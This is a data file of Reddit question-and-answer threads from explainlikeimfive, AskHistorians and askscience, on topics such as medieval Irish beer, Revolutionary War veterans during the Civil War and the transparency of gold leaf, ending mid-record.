{"q_id": "476qq3", "title": "why does unisex mean \"both sexes\" while most every other word with the prefix \"uni-\" means one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/476qq3/eli5_why_does_unisex_mean_both_sexes_while_most/", "answers": {"a_id": ["d0akp9q", "d0akpt6", "d0akrlu", "d0ayknl"], "score": [47, 18, 4, 3], "text": ["Because the *uni-* prefix can either mean 'one', or 'shared' \u2014 a group that becomes one. Consider the word 'university', which comes from the Latin *universitas*; there is precedent for that prefix indicating a consolidated group rather than one pure entity.", "It doesn't, you're looking at it from the \"wrong\" angle\n\nA uni-sex toilet means \"One toilet for everyone\", not \"Both sexes should use this toilet\". The toilet is the subject, not the gender.", "The word most likely comes from united and universal, where the uni-part means shared, as opposed to the latin prefix you are referring to.", " The prefix uni- means singular, which in our use of language can either mean one, or \"as one\". So words like unicorn, mean one horn, and words like unisex mean as one sex or combined. Many languages are hard to translate as they're either not words to describe something or vagueness and multiple usages. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9bb1qt", "title": "Sean's Bar (as it's now known) in Athlone, Ireland, is supposedly the oldest bar/pub in Europe, if not the world, dating to ~900 A.D. What would have been on tap back then?", "selftext": "It's always struck me as odd to see TV shows/movies where someone goes into a bar and says \"I'll have a beer\", as if they had no preference, and as if there was only \"a beer\" on tap.  \n\nSo would there have been multiple things to choose from at that time?  I had read that hops wasn't used to make beer until later, so what would they have been drinking?  Would you go up to a counter like you do now and ask for a drink, or was the method of service completely different?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9bb1qt/seans_bar_as_its_now_known_in_athlone_ireland_is/", "answers": {"a_id": ["e5257iu", "e53a71p"], "score": [1133, 79], "text": ["I'll leave the discussion on what sorts of food and drink would have been served at such an establishment to the much more qualified /u/gothwalk , but I can discuss the second aspect of your question. \n\nFirst off, pubs as we understand them would simply not have existed in early medieval Ireland. Firstly, the Irish economy was not monetary; the first coinage was only minted in Ireland at the beginning of the 11th century, and even then this was limited to Scandinavian settlements like Dublin, Waterford and Wexford. The principal form of \"currency\" in early medieval Ireland was livestock, specifically cattle, although slaves and ounces of silver or gold could also be exchanged. Needless to say, cattle doesn't make a convenient method of currency, but that wasn't really an issue for your average Irish person because mercantile forms of exchange would have been fairly rare and mostly limited to the wealthy; skilled artisans might produce goods like brooches, cloaks or swords for a fee, but the average person lived on a self-sufficient farmstead and would have been able to produce most of the goods that they needed on their own.\n\nThis was also complicated by the fact that Ireland was entirely rural. The Irish did not even start to live in villages until well after the Anglo-Norman conquest; as mentioned above, people would have lived with their families in isolated farmsteads dispersed across the countryside. So if Irish people didn't have money (in a conventional sense), rarely participated in market forms of exchange and didn't live in urban or even semi-urban societies, why would something that we might think of as a pub have even existed in the 10th century?\n\nThat's because society wasn't organized around market exchange as in our own society today, but through the establishment of contracts between the wealthy and noble and everyone else. Basically a person would rent a certain amount of cattle from a wealthy person, and would in exchange be expected to provide their patron with food, labour, goods and hospitality. Not only would the client receive cattle, the main form of currency, but they also gained legal protection from their patron and could establish other contracts with that patron as their legal suretor. Essentially, the entire point of this system was to keep the majority of the population in a subordinate position where they would feed and sustain the warrior-aristocracy, freeing them from labour. It was customary that a client was to give hospitality to their patron and his retinue of personal warriors (who were themselves aristocratic clients of the same patron) during certain times of the year, which entailed feeding them, giving them beer and providing them with shelter for the duration of their stay.\n\nThis is the context in which \"pubs\" in early medieval Ireland existed. They weren't capitalistic establishments where you just could walk in and \"order a pint\". Instead, they were a social institution where wealthy commoners could increase their legal and social status, to a standard approximating that of the lowest grade of king, by offering constant hospitality to these roving aristocratic patrons and their retinues without having to enter contracts with them. Such a person would be titled a *briugu* or \"hospitaller\" and would have been expected to provide food and drink to any person and his retinue who entered his home (the implication here being that a *briugu*'s customers were warrior-aristocrats, and not your average joe) and to never refuse service to potential guests. \n\nEssentially such a \"pub\" was merely a wealthy commoner's house which was well-supplied with food and drink. It was a satellite feature of the wider system of clientship and patronage which was as mentioned above, designed to sustain the aristocracy; unlike a regular client who provided them with goods and services in exchange for wealth and legal protection, the *briugu* offered hospitality and sustenance to the aristocracy to increase their own legal and social standing, gaining a status similar if not greater than that of the aristocrats themselves.", "So the social history has been covered really nicely by [/u/depanneur](_URL_0_), but I can help with the question of what they actually drank. \n\nSo, beer at this point has many differences from beer as we would consider it today, and there are many oddities that you may not expect. Every place would have had its own peculiar style due to differences in ingredients, location, equipment and a whole host of different factors too numerous to list. For instance, if you were to go to a place where their primary crop was rye, rye would have been used in the mash extensively, lending it a spicy, nutty flavour that you wouldn't find if you were lucky enough to find somewhere that used wheat (wheat was very rarely used in medieval beer contrary to popular belief). With this said, the primary grain ingredient would have been barley, which was mostly cultivated and malted for this purpose. So a brief explanation of the malting process: Grain is soaked, it begins to germinate (and thus produce sugars). It is then kilned at a high temperature to roast the grain slightly, and kill the organism, this gives the sugars from the grain needed to produce beer. At this point, coke furnaces were not a thing, and wouldn't be introduced until the 17th century in England. This affects the grain part of beer in two major ways: First, malted barley at this point would have been kilned using a wood or peat fire, producing a grain not unlike the stuff that goes into a really smoky scotch. Second, the grain will be a darker roast, leading to a darker beer. So the baseline of what you're looking at visually, is a dark beer, that smells like a bonfire (when doing reconstructions at the brewery I worked at, people have wondered if I've set something on fire during the brewing process). Next, is a question of adjuncts. Honey was used, but certainly not for the everyday sort of beer you'd get in a place like this, unless maybe you'd stumbled (maybe literally) in on a feast day where they've brewed one of their stronger beers for the celebration. One of the things you might have encountered though, is peas or beans also thrown into the grain mash to supplement a meager harvest. In certain parts of the world you might have found fruit put in too, which has the advantage of being both sugary and flavourful whilst also kick starting the fermentation, as I'll get to a little later. \n\n & #x200B;\n\n   So now, hops, or lack thereof. The earliest mention of hops in brewing is from the 12th century from Hildegard of Bingen, a German Abbess. However, it is probably safe to say they were used in beer before this date in Europe. However, at this time in the British isles, the herbal mixture used to flavour beer would have been a concoction of herbs, which as before, would vary depending on where you were. If you lived near moors, you might get a beer brewed with heather tips, which could be a risky proposition (heather tips are often host to a natural ergot fungus, which can cause hallucinations and ergotism if not washed off properly!). If you lived in a moister part of the country, you might get one made with Bog myrtle, a nice, sweet herbal, or Meadowsweet, which has kind of a sweet, grassy aroma and taste. Another common one was Yarrow, which provides a bitter, astringent flavour. You also may have got wild hops, stinging nettles, rosemary, or wormwood (same stuff as goes into absinthe). There are others I'm missing here, but you get the idea. \n\n & #x200B;\n\nFinally, there is the question of yeast. Yeast was not understood in a scientific sense until Pasteur came along in the 1800s, so whatever you're drinking at this point would have been fermented spontaneously using wild yeast and bacteria (hereby abbreviated as WYB, I can't be arsed to write that out every time). Beer today is mostly fermented with brewer's yeast, which is a domesticated yeast that gives a consistent, sweet flavour to beer, with little to no acid production. Think of the flavour difference between beer fermented these two ways here as a regular bread loaf, and a handmade sourdough. WYB on the other hand is a wildly variable mixture of Brettanomyces (the true wild yeast), acetobacter (produces acetic acid, or vinegar) , lactobacillus (produces lactic acid) , pediococcus (more lactic acid) occasionally candida and a whole host of other gribblies. This produces a beer with a noticeably sour tinge, and if left to mature, will result in a tooth strippingly sour beer with a lot of funky off flavours that nobody will want to touch, so it would have been drunk \"young\" to offset this, probably around 6-7 days after brewing, before it gets too sour and stanky (often seen in period sources as \"stale\" beer). Fruit may well have been added at this stage, as it carries wild yeast on the skin, so it provides a more reliable means to introduce the WYB into the beer to start the fermentation, if you've ever tried to make sourdough you'll know that WYB is a complete ballache to introduce to anything, even when it'd provide the ungrateful bastards with a lovely, sugary home. \n\n & #x200B;\n\n   So, we now have a beer in front of us that stinks of a bonfire, maybe has pea flour added to it, and is somewhere around the colour of a modern best bitter or red ale. It probably has no head on it, and will also look cloudy (not that you can tell because it will probably arrive in a pottery mug), maybe with some sediment chunks floating around in it. You can smell some sweetness and grassiness with a bitter tinge from the herbals, with a little tinge of a yoghurty smell from the yeast. You take a draught of it. You taste the sweetness of the malt and herbals, followed by the sourness of the yeast, with a hefty aftertaste of smoke.\n\n & #x200B;\n\nI'm now thirsty and await the time when I can actually have a beer this evening. \n\n & #x200B;\n\n & #x200B;\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/user/depanneur"]]}
{"q_id": "9ai3ez", "title": "Some American Revolutionary War Veterans were still alive during the 1860's. What did they think about the Civil War?", "selftext": "Elsewhere on reddit, I saw [this fascinating link featuring photos of Revolutionary War veterans](_URL_0_). I see from the ages, some of them lived into the 1860's. It had never occured to me before that there could still be veterans from the Revolution alive during the Civil War and I find it fascinating. \n\nAre there any interviews or any documentation of reactions from Revolutionary War veterans on the Civil War? I'd be very interested to see what the people who lived through the beginning of the country thought of a war that tore their country apart.\n\n*Edit:* I'd also be interested in any interviews or letters or anything else from these veterans for other major topics from the era, like emancipation, Lincoln's assassination, etc, and not just their reactions to the civil war.\n\n*Edit2:* I see someone posted reactions from some Northern Vets about the war and they were all decidedly pro-Union and the comment was deleted. Reading that response before it was gone makes me think about an additional question. Were there any SOUTHERN Revolutionary war veterans alive around the Civil War era? If so, I'd very, very much love to hear their thoughts as well.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9ai3ez/some_american_revolutionary_war_veterans_were/", "answers": {"a_id": ["e4w1jqc", "e4w4gmn"], "score": [1261, 43], "text": ["Something that should be stated first and foremost is that the general public and civil society in America at this time were very cognizant of the fact that the last of the Revolutionary War veterans were of advanced age and dying soon. The last of them died during the decade of the 1860s. Combined with the self-awareness of the fact that the nation which they had been cofounders of in the 1770s was now being undone by civil insurrection via secession in the 1860s, the print media took special interest in these remaining veterans during the war years\n\nIn a June 1864 issue solemnly entitled *Only Twelve Left*, the New York Times reported that the Committee on Revolutionary Pensions gave Congress a resolution to thank the remaining twelve verified veterans of the Revolution (whom the New York Times entitled the '12 Apostles of Liberty') and recommended that these last twelve men be given a more generous federal pension to \"*smooth the rugged path of life on their journey to the tomb*\". Copies of the resolution from the committee were also sent to each of the twelve by the Speaker of the House Schuyler Colfax.\n\n\u200b\n\nThe New York Herald, the Democratic-oriented competitor to the Republican NY Times, ran a full-page spread in late 1863 where they gave biographical 'sketches of the survivors' to the reader. The Herald reports something interesting in the way these remaining survivors are linked to the chaos of civil war. The Herald reports several more people as Revolution veterans than the Times. Why? Because it included the surviving veterans who were living in the Confederate states, whereas the Times didn't. The Herald article states that \"*the Southern Rebellion has prevented the payment of the pensioners in the seceded states for the last two years and a half, and of course, there have been no returns from the agencies formerly existing to those states since March 4, 1861. The following list, therefore, includes these in such states who were paid to that date and who are not known to have since died, but it is probable that at least half of these are now dead, as several of them were over one hundred years old at that time*\".\n\nThis is a brief snapshot of what print media was saying about these men at the time, but it shows that people were aware and interested in the quickly vanishing number of veterans, probably especially in the context of the country they'd taken part in forming being threatened with secession and dissolution. There was some very obvious poetic irony unraveling that these men were old enough to see civil war unfold in America. As another user has mentioned, a compiled memoir entitled *The Last Men of the Revolution* was released in 1864 by Connecticut reverend Elias Hillard, which was produced from interviews with 7 of the remaining men. For the most part, the interviews engage in the early lives of these men and their experiences during the Revolution, rather than their views on contemporary events. Of course, this makes sense. If you were sitting down to interview a World War 2 veteran today, you probably wouldn't pester him with questions on his thoughts about Obamacare, Brexit, and Republican immigration policy. You'd ask him about the war and his experiences in the war. People generally don't see the period they're living in as part of history, but just the daily grind, even if it was during an event as monumental as the Civil War. How often do you consider how the current events and news and conflicts of today will be perceived in 2100, or 2200? Probably not often.\n\n\u200b\n\nHowever, there is some mention of their thoughts towards the Confederacy and war listed. This excerpt is from the interview with Samuel Downing, a veteran from the Continental Army's New Hampshire Line who was 103 in 1864:\n\n\\_\\_\\_\\_\\_\\_\n\nDowning: There's always policy, you know, in war. We made the British think we were coming to take the city. We drew up in line of battle: the British drew up over there (*pointing with his hand*). They looked very handsome. But Washington went south to Yorktown. Lafayette laid down the white sticks, and we threw up entrenchments by them. We were right opposite Washington's headquarters. I saw him every day.\n\n\u200b\n\nHillard: Was he as fine looking a man as he is reported to have been?\n\n\u200b\n\nDowning: Oh! *(he exclaimed, lifting up both his hands and pausing)* but you never got a smile out of him. He was a nice man. We loved him. They'd sell their lives for him.\n\n\u200b\n\nHillard: What do you think he would say if he was here now?\n\n\u200b\n\nDowning: Say? I don't know, but he'd be mad to see me sitting here. I tell em if they'll give me a horse I'll go as it is. If the rebels (confederates)come here, I shall sartingly take my gun. I can see best furtherest off!\n\n\u200b\n\nHillard: How would Washington treat traitors if he caught them?\n\n\u200b\n\nDowning: Hang 'em to the first tree!\n\n\u200b\\_\\_\\_\\_\\_\n\nAfter this exchange, Hillard recorded \"he denounces the present rebellion, and says he only wishes to live to see it crushed out\".\n\n\u200b\n\nIn another excerpt from the section on the life of Connecticut veteran Daniel Waldo, Hillard recorded that Waldo as well was 'intensely loyal' in regards to the rebellion and that he \"greatly desired to live till the rebellion should be suppressed. He had implicit faith in the ultimate success of the Union arms and the re-establishment of the authority of the National Government over all the states. President Lincoln he deemed honest, but not decided enough. He thought that the leaders of the rebellion should be dealt with in such a manner that no one would dare in the future to repeat the experiment.\"\n\n\u200b\n\nLemuel Cook, another veteran from Connecticut said in his talks with Hillard on the war that \"It is terrible, but terrible as it is, the rebellion must be put down!\".\n\n\u200b\n\nAlexander Milliner, A Quebec born patriot who was a drummer boy in the Continental Army, echoed the same language to Hillard. Milliner stated \"it is too bad that this country, so hardly got, should be destroyed by its own people.\" Hillard stated that Milliner \"inquires every day or two about the army and express the desire to live to see the rebellion crushed. At the outbreak of it, he wanted to take his drum and go down to Rochester, and beat for volunteers. Two years ago in September, he presided over a meeting for raising recruits for the 140th New York Regiment. His presence at the meeting it is said, caused great excitement and enthusiasm\".\n\n\u200b\n\nThat image of a 102 year old man beating his drum in the streets is an intriguing one indeed!\n\n\u200b\n\nAll in all these are the observations on the civil war that I could find from Hillard's 1864 text. These men generally echoed the same sentiment that the majority of people in their states echoed; anti-secessionism, and pro-Union sentiment. One thing that I would be particularly interested in are the recollections and musings of any remaining Revolutionary War veterans who lived in the Confederacy during the war. Hillard only interviews men who live in Union states, and this is at a time when common citizens of the United States feel a close affinity to their states and supported a very regionalist local style of government. It really was the Civil War that introduced the concept of a strong and centralized federal government superseding the states. I can't find any similar text that was produced including the perspectives of veterans from the seceded states. If anyone is able to find such a thing, I'd be very interested in reading it.\n\n\u200b\n\nThis was my first time reading excerpts from *The Last Men of the Revolution*. My impression is that this text was really groundbreaking for its time in giving accounts of contextualized historical memory to a new generation nearly a century on, in a historical moment of civil war that made the observations of these men particularly poignant.\n\n & #x200B;", "I've asked a similar question here recently and got a lot of really great answers.\n\nYou might be interested in giving the thread a scroll.\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": ["https://www.phillyvoice.com/photos-a-rare-view-of-revolutionary-war-veterans/"], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/6xlupv/the_us_constitution_was_signed_in_1787_and_the/"]]}
{"q_id": "a9n0ey", "title": "how does tums work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9n0ey/eli5_how_does_tums_work/", "answers": {"a_id": ["eckrpyt"], "score": [6], "text": ["In reference to heartburn, the issue is typically that stomach acid has worked it\u2019s way into your esophagus and is damaging the lining, causing pain. Tums active ingredient is Calcium Carbonate. Calcium carbonate contains alkaline ions that have the ability to reduce the acidity (alkalize) of stomach acid and reduce pain. \n\nELI4: Tums is magic sauce that makes tummy juices not quite as ouchy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1e4zls", "title": "I know this is just semantics, but why are the organisms in our digestive tracts called 'gut flora' and not 'fauna'? Are all microorganisms considered flora?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e4zls/i_know_this_is_just_semantics_but_why_are_the/", "answers": {"a_id": ["c9wyj55", "c9wzbln", "c9x2n5q"], "score": [8, 7, 2], "text": ["Tradition. It is technically incorrect to call them microflora, but they have been calling them that a long time. A lot of people now are just referring to the microorganisms in your gut as microbiota, which is technically inclusive of microfauna and microflora.(although there is no microflora in your gut)", "Fauna only refers to animal life. The microbes in the digestive tract are not of the Animal kingdom. Flora usually refers to the plant kingdom but bacteria are usually referred to as bacterial flora. It really is just tradition. ", "[Microbiota](_URL_0_) is a term that has gained some acceptance, although it is synonymous with a monotypic genus of cypress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://medical-dictionary.thefreedictionary.com/microbiota"]]}
{"q_id": "56kbve", "title": "why were nazi rallies structured the way they were?", "selftext": "To elaborate, why were they filled with nazi flags and swasticas absolutely everywhere, saluting in unison and lots of soldiers marching? \n\nMany parades in other totalitarian regimes are very similar including those that occurred in communist countries, but I see no reason for them to be so covered in party symbols, armed forces and other theatrics. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56kbve/eli5_why_were_nazi_rallies_structured_the_way/", "answers": {"a_id": ["d8k8ioz", "d8kbfof"], "score": [8, 2], "text": ["There are lots of reasons. But all symbols basically represent some kind of concept, some idea. A national flag represents, basically, that nation. In the US, for example, when schoolchildren swear allegience to \"the flag\", they're really swearing allegience to their country (in fact, the text of the Pledge of Allegience makes this explicitly clear).\n\nFor the Nazis, the swastika represented Nazi ideology: a simple, bold image which stood for things like strong leadership, national and racial superiority, discipline and so on. Even now, whenever you see a Nazi swastika, if you know your 20th century European history, you probably can't help but think of genocide, concentration camps and war.\n\nBut there's more to it than merely providing a symbol. If you want to be a totalitarian dictator, you have to get the entire population (or at least the vast majority of it) to stand with you. One way to do that is to orchestrate some vast sense of \"belonging\" to something important: \"If you are not prepared to march under my banner, you are not fit to live.\" Encourage people to project their hopes onto your chosen symbol: \"This symbol guarantees that you will finally have what you need and want most dearly.\" Make them understand that your symbol will give them jobs, security, health, food, happiness, liberty and anything else.\n\nIf you can, you need to encourage a personality cult, which is sort like a religion, and so needs its rituals and symbols. The rituals are also important: it's a way of getting large numbers of people to act together and cooperate, even if the things they are doing are meaningless. Everyone has a part to play, everyone is part of a greater whole.\n\nWhat's also happening here, of course, is that people are beginning to lose their identity. The community, and by extension the entire nation, becomes more important than the individual. This is very important if you want people to fight your wars for you.\n\nAnyone who does stand out as an individual is, of course, a dangerous dissident, somebody to be suspicious of, and probably somebody who should be deported, imprisoned or killed. It becomes easy to spot these people. Think of the reaction to Colin Kaepernick's refusal to stand for the National Anthem; now multiply that reaction a million times and add a large dose of state-induced paranoia, and imagine that nearly every single American was in the anti-Kaepernick camp. We can be glad America has a functioning democracy, even if the current choice of candidates for President might make you despair: anyone trying that sort of thing in a full-blown dictatorship would probably have been lynched, or at least have mysteriously disappeared.\n\nAnd then there's Nazi ideology itself, which is based on fascism. One of the ideas of fascism is that society should be run like the military, with a hierarchy, a chain of command, strict discipline, well-defined roles and so on. All those marches, banners, uniforms, salutes and so on and so forth -- all that is deliberately made to look militaristic, because you want to give the population the feeling that they're part of this well-oiled military-style machine. And once you've got them to that state, you can issue orders and expect them to be followed, just like in the real military. It's not really surprising that totalitarian dictators often appear in public wearing military uniform.\n\nAnd finally, just putting on a massive militaristic display, which is spectacular and well-organized, suggests that the government is capable of spectacular and well-organized things.", "One of the main philosophical ideas of fascism is that the individual is unimportant, and their lives are only meaningful as part of the nation or the race. An elaborately choreographed rally festooned with symbols is a way of demonstrating that principle. You might be some ordinary schlub most of the time, but when you're marching in step with a load of other people united in the same cause, you feel like you're part of something important. This is how dictatorships win over their people - it can be dangerously seductive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1j83iv", "title": "After a planet forms and the debris around it starts to form, what factors determine whether the debris will become a moon or a belt like Saturn's rings? Why in some cases are there both?", "selftext": "Title says it all, thanks for the future answer!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j83iv/after_a_planet_forms_and_the_debris_around_it/", "answers": {"a_id": ["cbc4uif"], "score": [9], "text": ["One of the big determiners is the Roche limit.  The closer you are orbiting to a body, the faster you must orbit.  As a result, there is a tension on large satellites, where the part closer to the parent body wants to move faster than the far side.  This stress increases the closer the satellite orbits.\n\nFor a large object held together only by gravity (a \"rubble pile\"), the limit where the object will no longer stay together is the Roche limit.  The rings of Saturn fall well within the Roche limit for a large body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25qiu9", "title": "how do counterfeit nfl,nba, and jordan shoes from overseas get the production so close to the authentic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25qiu9/eli5how_do_counterfeit_nflnba_and_jordan_shoes/", "answers": {"a_id": ["chjrixt"], "score": [3], "text": ["Well Jordans are made in china so.... \n\nits already in china. Its not rocket science for the factory next door to get a pair and reproduce it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3z1wur", "title": "Do we know the history of public nudity such as mooning, flashing, streaking, etc? When it was first used? Was there a punishment if caught? Was it meant to be serious/funny/etc? Is there anywhere it wouldn't have been considered a indecent act?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3z1wur/do_we_know_the_history_of_public_nudity_such_as/", "answers": {"a_id": ["cyiyd0n"], "score": [4], "text": ["This is sort of an odd question, since presumably people walked around naked for tens of thousands of years before clothing became *de rigueur*. However, we know that as far back as classical antiquity, certain exhibitionist behaviors were socially frowned upon, although not necessarily punished. The philosopher [Diogenes the Cynic](_URL_0_) (~400 BC) reputedly was fond of masturbating in public, to the horror and disapproval of his contemporaries. Being the clever fellow that he was, he would retort: \"If only it were as easy to banish hunger by rubbing my belly.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Diogenes_of_Sinope"]]}
{"q_id": "7i6gtv", "title": "Did the ancients have a concept of historic site preservation like we do? Like did Romans in 300 AD think that buildings like Colosseum and Pantheon are old and need to be preserved?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7i6gtv/did_the_ancients_have_a_concept_of_historic_site/", "answers": {"a_id": ["dqwo22i"], "score": [41], "text": ["Essentially, no.\n\nArchitecture history is full of examples where a building was torn down, either for the building material, or the space it occupied, in order to make a new, different building. Roman architecture that you mention in your answer is a good example of this, as a number of buildings from that period have suffered this fate, serving as impromptu cheap and efficient quarries. Due to a continuation of urbane composition even after the fall of the Roman Empire, we can still read a number of roman urbanistical elements \u2013 most usually the cardo and decumanus which still exist as main communication areas in a number of european cities. The buildings that defined the cardo and decumanus haven't stood the test of time, however. \n\nYou're mentioning the Colloseum in your question, which has an interesting story to it; in 16th century, Pope Sixtus V had plans of turning the derelict roman building into a wool manufactury. Once the budget of such an investment was deemed unfeasible, this was abandoned, but Pope Benedict XIV in 18th century forbade the building to be leveled, due to it being (wrongly) seen as a place of martyrdom of christians who were 'fed to the lions', this false historical anecdote saving the building from being demolished. In other interesting mentions of roman amphiteathres being converted within an urban context, one of the most interesting is that of the amphitheatre of Lucca, at the so called Piazza del Anfiteatro, where a building block was formed in the amphitheatre's abandoned structure.\n\n[Piazza del Anfiteatro, Lucca, Italy.](_URL_0_) \n\nAnother important event which brings us closer to understanding how our ancestors percieved building heritage ( which is essentially, they didn't ) was quite common in the baroque period \u2013 a large number of middle european gothic churches were quickly 're-baroqued' in this period; as gothic style was seen as a barbaric, medieval, primitive ornamental style, a lot of its building elements were intentionally torn down or walled in, in order to make place for the new, baroque elements. This was the first occasion that building heritage was destroyed for the sake of 'style', instead of raw pragmatism of easily accesible material like in previous periods.\n\nAwareness of building heritage as we know it today stems from the 19th century, development of academia, and architecture history as an academic discipline. This has to be seen through the dichotomy of theories of Eugene Viollet-Le-Duc and John Ruskin. Whereas Viollet-Le-Duc argued that historical buildings deserve to be 'creatively' finished, to look even better than they ever were in their history, even if the elements that are used are not exactly original ( and did well on his theory by creatively destroying Notre Dame de Paris and Carcasonne ), Ruskin in his pivotal work, Seven Lamps of Architecture argues that building conservation must first and foremost be honest; and to show **all** the layers and elements of architectural progress in all of their parts and history, instead of presenting a final 'candied up' finished product, and not imagine things up without solid historical proof.\n\nLater, mostly through the work of Austrohungarians Alois Reigl and his student, Max Dvorak, conservational criteria and principles of John Ruskin have been shaped into architectural heritage conservation policies which we're still abiding to to this day, but Ruskin is widely seen as a 'father' of the contemporary building heritage conservation method.\n\nBefore Ruskin, there was just simple destruction at best, and reinterpretation and making up of history ( like Viollet-Le-Duc ) at worst.\n\n >  The second reason is, that imperfection is in some sort essential to all that we know of life. It is the sign of life in a mortal body, that is to say, of a state of progress and change. Nothing that lives is, or can be, ridgidly perfect; part of it is decaying, part nascent. The foxglove blossom,--a third part bud, a third part past, a third part in full bloom,--is a type of the life of this world. And in all things that live there are certain irregularities and deficiencies which are not only signs of life, but sources of beauty. All admit irregularity as they imply change; and to banish imperfection is to destroy expression, to check exertion, to paralyse vitality. \n\n - John Ruskin, Stones of Venice.\n\nSources :\n\nJohn Ruskin, *Seven Lamps of Architecture*, original publication 1849.\n\nJukka Jokhileto, *History of Architectural Conservation*, 1999."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.ytimg.com/vi/OxnR9WCmIDc/maxresdefault.jpg"]]}
{"q_id": "cjbptp", "title": "how does most peoples limbs grow the same length and size?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cjbptp/eli5_how_does_most_peoples_limbs_grow_the_same/", "answers": {"a_id": ["evch497"], "score": [2], "text": ["Do you mean relative to other people or their own limbs?\n\nThere's an average intelligence, physical size, hand size, limb size, etc for humans. Generally people approach this mean. \n\nFor individuals, limbs actually vary slightly in length and size. One will almost always be smaller or larger than the other just not noticeably so.\n\nI don't know enough about the biological processes involved so hopefully someone else tackles this and I learn something too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1261ro", "title": "Would 1-atom thick gold leaf still be completely \nopaque, or could you see through it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1261ro/would_1atom_thick_gold_leaf_still_be_completely/", "answers": {"a_id": ["c6sgrex", "c6sgu3b", "c6sgv9e", "c6sgya8", "c6sh0d4", "c6shdd4", "c6shqe3", "c6shrnp", "c6shtt1", "c6si0lh", "c6si2bd", "c6sk66e", "c6slfj1", "c6slpvq", "c6sm2mh", "c6sm2xl", "c6snxoi"], "score": [700, 112, 66, 7, 41, 12, 3, 3, 6, 2, 5, 7, 2, 7, 2, 5, 3], "text": ["See-through, it wouldn't be thick enough to absorb much light (Beer-Lambert's law).", "They actually use very thin gold leafs on astronauts' suits helmet glass.", "It's see through, and bluish.", "The cockpit canopies of airplanes with stealth features are gold coated to prevent diffuse radar reflection from inside the cockpit, they are obviously transparent.  ", "Is it really possible to make a layer of gold foil one atom thick? I wouldn't think the electrons would have the freedom necessary to create the properties of a metal. ", "It will be translucent but you will not see the usual gold color. Silver, for instance, is actually green if you look through it. We had a lab awhile back where we tested a thin silver film that had been deposited on a glass surface, and it was interesting to see the green color. If anybody could tell me the transmissive color of gold I would be grateful. Source: Solid state physics courses in grad school. ", "It will be see through and will also change it's physical, chemical, optical and electrical properties if compared towards e.g. a gold ring. [This](_URL_0_) is a really nice slideshow about the change of properties on the nanoscale. And yes I know that nanoscale is still much bigger than 1-atom thick. Just gives you a better idea of what happens if you go smaller and smaller.", "As everyone has said, it would be transparent. And even with films that are up to 20nm thick, you can still hold the film (mounted on a transparent support) up to light and see through it pretty easily. Source: personal experience in nanofabrication of gold films on transparent substrates.", "I minored in Nanotechnology in college...fun fact about nanometer thick sheets of gold: it actually appears red rather than yellow.\n\nAn example of this is found in the [Lycurgus Cup](_URL_0_)", "At a gold leaf factory i have looked through a sheet of gold pressed between two pieces of perspex (or maybe glass). I believe they said that the foil was 2 microns thick, but it was a while back and in Japanese so i could easily be mistaken on that point.  \n\nWhat i can say is that even to the extent that can be made by industrial type machines (i.e. a mechanical hammer and hands as opposed to complex scientific atom-placing machines or some such) the gold was partially see through. Holding it up to a light you could see the light fitting, and it was blue. I had a great time.  \nIt wasn't what i'd really describe as particularly clear, but it was by no means opaque. translucent if anything.  \n  \n\nTL:DR Looking through 'hand made' gold leaf (mechanical hammers used in production), of i believe 2 microns thickness, light turns blue.", "Just a quick follow-up question: what would a 1-atom thick leaf *feel* like? Would we be able to detect it's weight, or not? ", "An atomically thin film of gold would be translucent (see-through) but the top post citing Beer-Lambert's law as an explanation is incorrect, or at least incomplete.\n\nBeer-lambert's law is a description of how a given amount of a material will absorb a given amount of light, and implies a linear relationship with the amount of material the light passes through and total absorbance of light.\n\nBut this is rarely very accurate with the thin-film regime and especially would not be accurate with a metal like gold that will exhibit surface-plasmon effects. Thin films or nanoparticles/clusters of gold with major dimension much smaller than the wavelength of light generate oscillating density-waves of electrons which create unique optical properties. Changing the thickness of gold leaf below the 100nm scale will change not only the amount of gold light will have to travel through (beer-lambert's law) but will also change the shape and size of the plasmon-absorbance band. It's a very non-linear affect.", "Classical mechanics: it would be opaque because of diffraction laws. The wavelength of light is 500 nm while the spacing is at least an order of magnitude less. \n\nActual: assuming that we can treat the sheet of gold quantum mechanically, some of the photons will end up on the other side. To know how much we would have to apply yhe schrodinger eq, but i am almost certain the transmission coefficient would be greater than 0\n\n***Please read Cryptic0677's explanation***", "In the field I am most familiar with (Organic Photovoltaics) metallic films are used as electrodes with the solar cell sandwiched in between.  Since solar cells work by absorbing light, it's beneficial that one of the electrodes be as transparent as possible.\n\nWhile not transparent enough for widespread use, a 10 Nanometer 